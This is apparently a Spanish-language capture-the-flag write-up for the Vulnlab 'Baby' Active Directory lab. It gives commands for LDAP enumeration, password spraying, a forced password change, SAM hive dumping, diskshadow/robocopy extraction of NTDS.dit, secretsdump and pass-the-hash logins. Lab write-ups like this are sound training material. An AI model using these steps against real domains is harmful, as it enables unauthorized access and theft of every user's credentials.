Baby - Writeup (Vulnlab)
NMAP
Al ejecutar el primer escaneo clasico de NMAP me daba como resultado varios puertos open | tcpwrapped:
Por lo que intento cambiar el metodo de escaneo por el siguiente:
1 | nmap -n -vv -A --min-parallelism=50 --max-parallelism=150 -Pn -T2 |
DNS DOMAIN NAME
Lo agrego a /etc/hosts para trabajar mas comodo.
LDAP: Enumerando users
Considerando que esta expuesto, voy a intentar enumerar usuarios sin autenticarme:
1 | ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep dn |
Sigo enumerando y encuentro entre los comentarios del user “Teresa Bell” una descripcion interesante:
1 | ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep desc -A4 |
Al parecer le resetearon la contraseña o el usuario nunca se logueo, podemos testear esto con crackmapexec:
1 | sudo crackmapexec smb baby.vl -u teresa.bell -p 'BabyStart123!' |
Y recibimos una mala noticia:
Al parecer el password fue cambiado, algo muy comun es tratar de verificar y comprobar si este password pudo haber sido reutilizado en otro usuario, entonces haremos un Spraying del mismo con todos los demás users presentes del sistema.
Para eso primero tenemos que generar un wordlist con los usuarios, y luego invocar a crackmapexec para que haga el rafagazo.
Creando Wordlist de users.txt
Con el siguiente comando podemos recibir toda la información sin filtrar, pero nos va a servir para ‘detectar’ un campo que nos permita identificar a los usuarios:
1 | ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |
1 | ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |
Vemos el campo “member:”, y verificando el resto del archivo parece que es un campo acertado para extraer usuarios, sabiendo esto procedemos a la creación del wordlist de users.txt con un poco de regex:
1 | ldapsearch -x -H ldap://baby.vl -b "dc=baby,dc=vl" |grep "member:" |cut -d "=" -f 2 |cut -d "," -f 1 |awk '/ / {print $1 "." $2}' >users.txt |
Si verificamos:
Las primeras 7 lineas no parecen ser usuarios que nos sirva, asi que los filtramos y volvemos a verificar:
1 | sed -i '1,7d' users.txt |
Password Spraying
Utilizamos nuestro wordlist creado users.txt con la contraseña conocida que tenemos.
1 | sudo crackmapexec smb baby.vl -u users.txt -p BabyStart123! --shares |
Tenemos un match con la cuenta de Caroline.Robinson. Al parecer el estado de su password es que “debería ser cambiado”.
Cambiando el password con smbpasswd.py
Considerando que tenemos un match con Caroline.Robinson, y esta requiere cambiar su password, es el punto de aprovechamiento que necesitamos, usamos smbpasswd.py de Impacket:
1 | smbpasswd.py -newpass 'MyHack1234' caroline.robinson@baby.vl |
USER.txt
Ingresando con evil-winrm como Caroline.Robinson
Ingresamos con la nueva password que seteamos:
1 | evil-winrm -u caroline.robinson -p 'MyHack1234' -i baby.vl |
Si nos vamos a Desktop/, sacamos la flag de user.txt
ROOT.txt
Ahora que estamos conectados como caroline.robinson, y tenemos shell, lo primero siempre es verificar que tipo de privilegios poseemos en el sistema.
1 | whoami /priv |
Como podemos ver en la imagen resaltada, el usuario posee 2 privilegios importantes. SeBackupPrivilege y SeRestorePrivilege.
#SeBackupPrivilege:
Este privilegio otorga al usuario que lo posea el derecho de realizar copias de seguridad del sistema y de los archivos protegidos.
#SeRestorePrivilege:
Este privilegio permite al user que lo posea restaurar archivos y directorios del sistema
Juntando estos dos permisos y con el apoyo del siguiente link: https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dumping-hashes-from-sam-registry
Dumping hashes
1 | reg save hklm\system system |
1 | reg save hklm\sam sam |
Procedo a descargar localmente los dos archivos.
- sam
- system
Usamos secretsdump.py para obtener los hashes:
Logueo con evil-winrm y me llevo una sorpresa:
1 | evil-winrm -i baby.vl -u "administrator" -H "8d9....." |
El hash que dumpeamos es ni mas ni menos que para ADMIN local. Por ende no es un admin de Dominio. Entonces vamos a intentar enfocarnos en el Admin de Dominio que es el mismo nombre y en como obtener el archivo NTDS.dit.
¿Que es NTDS.dit?
NTDS.dit es un archivo mas que importante en un sistema de dominio, esta localizado en todos los controladores de dominio. Este es una base de datos que almacena ‘datos’ de AD sobre objetos, usuarios, grupos, pertenecias de grupos, incluye los hashes NTLM de las passwords para todos los users.
Una vez que podemos obtener estos hashes, podemos loguear como cualquier user de dominio incluido los administradores.
Diskshadow + Robocopy
Este sera nuestro vector de ataque. Diskshadow es un comando incluido en Windows Server el cual nos permite crear copias de un disco que esta actualmente en uso.
En el siguiente link encontré algo muy util de una persona que se baso en una maquina de HackTheBox con una situacion similar a la que tenemos en esta maquina.
La cual consta de crear un script en el que ejecuta los comandos necesarios para crear una copia en este caso del NTDS.dit
Luego de realizar esto podremos extraer sin problemas el hash de ADMIN
Script File: mySam.txt
Creo el siguiente script localmente y lo subo con evil-winrm con la función “upload”
1 | set verbose onX |
1 | diskshadow /s mySam.txt |
Cuando finaliza veremos que la copia fue realizada en el disco E:\
1 | robocopy /b E:\Windows\ntds . ntds.dit |
Finalmente, descargo el archivo ntds.dit y ejecuto secretsdump.py
1 | secretsdump.py -sam sam -system system -ntds ntds.dit LOCAL |
Finalmente logueamos con evil-winrm:
1 | evil-winrm -i baby.vl -u "administrator" -H "ee445..." |